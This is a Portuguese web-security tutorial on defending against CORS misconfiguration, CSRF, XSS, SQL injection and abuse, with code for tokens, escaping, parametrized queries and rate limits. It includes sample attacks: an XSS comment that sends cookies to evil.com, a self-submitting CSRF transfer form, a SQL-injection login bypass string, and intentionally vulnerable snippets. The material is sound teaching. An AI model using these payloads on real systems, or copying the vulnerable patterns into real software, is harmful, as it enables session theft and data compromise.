Proteções comuns

Defesas contra as ameaças mais frequentes em aplicações web: CORS, CSRF, XSS, injeção de SQL, rate limiting e outras proteções essenciais.

As ameaças que todo sistema enfrenta

Independentemente da arquitetura, há um conjunto de ataques que toda aplicação web precisa saber lidar. Esses ataques são bem conhecidos, estão documentados e têm soluções comprovadas — mas continuam sendo a causa da maioria das brechas de segurança porque são ignorados ou implementados de forma errada.

Cross-Origin Resource Sharing (CORS)

CORS não é um ataque, mas sim um mecanismo de segurança do navegador. Ele controla quais domínios podem fazer requisições à sua API.

O problema

Por padrão, os navegadores bloqueiam requisições JavaScript para domínios diferentes do da página atual. Isso protege contra scripts maliciosos que tentem acessar APIs em nome do usuário.

Configuração correta

// ❌ Perigoso: permitir qualquer origem
app.use(cors({ origin: '*' }));

// ✅ Seguro: apenas origens conhecidas
app.use(cors({
  origin: ['https://miapp.com', 'https://admin.miapp.com'],
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  credentials: true,
  maxAge: 86400  // Cache de preflight por 24 horas
}));

Headers CORS importantes

HeaderPropósito
Access-Control-Allow-OriginDomínios permitidos
Access-Control-Allow-MethodsMétodos HTTP permitidos
Access-Control-Allow-HeadersHeaders personalizados permitidos
Access-Control-Allow-CredentialsSe cookies/tokens são permitidos
Access-Control-Max-AgeTempo de cache do preflight

Erros comuns

  • Usar origin: '*' com credentials: true — os navegadores rejeitam essa combinação
  • Não tratar as requisições OPTIONS (preflight)
  • Configurar CORS apenas em desenvolvimento e esquecer em produção

Cross-Site Request Forgery (CSRF)

CSRF engana o navegador do usuário para que execute ações indesejadas em um site onde ele está autenticado.

Como o ataque funciona

1. Usuário faz login em banco.com (cookie de sessão ativa)
2. Usuário visita site-malicioso.com
3. site-malicioso.com tem um formulário oculto:
   <form action="https://banco.com/transferir" method="POST">
     <input name="destino" value="atacante-123">
     <input name="monto" value="10000">
   </form>
   <script>document.forms[0].submit();</script>
4. O navegador envia o cookie de sessão automaticamente
5. banco.com processa a transferência como se fosse legítima

Proteções

Token CSRF

O servidor gera um token único por sessão que deve ser incluído em cada formulário:

<form action="/transferir" method="POST">
  <input type="hidden" name="_csrf" value="token-aleatorio-único">
  <input name="destino" value="">
  <input name="monto" value="">
  <button type="submit">Transferir</button>
</form>

O servidor verifica se o token corresponde antes de processar a requisição.

A forma mais moderna e eficaz de prevenir CSRF:

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
ValorComportamento
StrictO cookie nunca é enviado em requisições cross-site
LaxÉ enviado em navegação top-level (links), mas não em formulários POST
NoneÉ enviado sempre (exige Secure)

Verificação do header Origin/Referer

O servidor pode verificar se a requisição vem de uma origem esperada:

function verifyCsrf(req) {
  const origin = req.headers.origin || req.headers.referer;
  const allowedOrigins = ['https://miapp.com'];
  
  if (!allowedOrigins.some(o => origin?.startsWith(o))) {
    throw new Error('CSRF detectado');
  }
}

Cross-Site Scripting (XSS)

XSS permite que um atacante injete scripts maliciosos em páginas visualizadas por outros usuários.

Tipos de XSS

Stored XSS (persistente)

O script malicioso é armazenado no banco de dados e executado toda vez que um usuário visualiza o conteúdo:

Atacante publica um comentário:
  "Ótimo artigo! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"

Cada usuário que vê o comentário executa o script sem saber.

Reflected XSS

O script vem na URL e é refletido na resposta:

https://miapp.com/buscar?q=<script>alert('XSS')</script>

DOM-based XSS

O script é executado manipulando o DOM diretamente no cliente:

// Vulnerável: usa innerHTML com dados da URL
const search = new URLSearchParams(location.search).get('q');
document.getElementById('results').innerHTML = `Resultados para: ${search}`;

Proteções contra XSS

Escapar output

Sempre escape dados do usuário antes de inseri-los no HTML:

// Função de escape básica
function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  };
  return text.replace(/[&<>"']/g, m => map[m]);
}

Content Security Policy

CSP é a defesa mais eficaz contra XSS:

Content-Security-Policy: script-src 'self'; object-src 'none';

Isso impede a execução de scripts inline e permite apenas scripts do mesmo domínio.

Usar frameworks modernos

React, Vue e Angular escapam automaticamente o conteúdo renderizado. O risco aparece quando se usa dangerouslySetInnerHTML (React) ou v-html (Vue).

Injeção de SQL

A injeção de SQL permite que um atacante execute consultas arbitrárias no banco de dados.

Como funciona

// Código vulnerável
const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;

// O atacante envia como email:
// ' OR '1'='1' --
// A consulta resultante:
// SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password = ''
// Isso retorna TODOS os usuários

Proteções

Consultas parametrizadas

A proteção mais eficaz e simples:

// Node.js com pg
const result = await db.query(
  'SELECT * FROM users WHERE email = $1 AND password_hash = $2',
  [email, passwordHash]
);

// Java com PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
  "SELECT * FROM users WHERE email = ? AND password_hash = ?"
);
stmt.setString(1, email);
stmt.setString(2, passwordHash);

ORM com consultas seguras

Os ORMs geram consultas parametrizadas automaticamente:

// Prisma
const user = await prisma.user.findUnique({
  where: { email: email }
});

// TypeORM
const user = await userRepository.findOne({
  where: { email: email }
});

Validação de inputs

Além de parametrizar, valide se os dados têm o formato esperado:

// Validar formato de email antes de consultar
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!emailRegex.test(email)) {
  throw new ValidationError('Formato de email inválido');
}

Rate Limiting

Rate limiting protege contra ataques de força bruta, DDoS e abuso da API.

Estratégias de rate limiting

Por IP

// Limitar a 100 requests por minuto por IP
const limiter = rateLimit({
  windowMs: 60 * 1000,
  max: 100,
  message: 'Demasiadas peticiones. Intente en un minuto.'
});

Por usuário autenticado

// Limitar a 1000 requests por hora por usuário
const userLimiter = rateLimit({
  windowMs: 60 * 60 * 1000,
  max: 1000,
  keyGenerator: (req) => req.user.id
});

Por endpoint

Endpoints sensíveis como login ou registro precisam de limites mais rígidos:

// Login: máximo 5 tentativas por minuto
app.post('/auth/login', rateLimit({ windowMs: 60000, max: 5 }), loginHandler);

// Registro: máximo 3 por hora
app.post('/auth/register', rateLimit({ windowMs: 3600000, max: 3 }), registerHandler);

Resposta ao rate limiting

Quando o limite é excedido, responda com:

HTTP/1.1 429 Too Many Requests
Retry-After: 60
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1705314060

Outras proteções essenciais

Headers de segurança

Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()

Validação de uploads

Se sua aplicação aceita arquivos, valide:

  • Tipo MIME real (não apenas a extensão)
  • Tamanho máximo
  • Conteúdo (escaneamento de malware, se possível)
  • Armazene fora do diretório web público

Logging de segurança

Registre eventos de segurança para detecção e resposta:

  • Tentativas de login malsucedidas
  • Mudanças de permissões
  • Acesso a dados sensíveis
  • Requisições bloqueadas por rate limiting
  • Erros de validação suspeitos

Resumo

As proteções comuns são a base da segurança web. CORS controla o acesso cross-origin, CSRF previne ações não autorizadas, XSS bloqueia a injeção de scripts, as consultas parametrizadas eliminam a injeção de SQL, e o rate limiting protege contra abuso. Nenhuma dessas proteções é opcional — todas devem ser implementadas desde o início do projeto. A maioria das brechas de segurança explora a ausência dessas defesas básicas, não vulnerabilidades sofisticadas.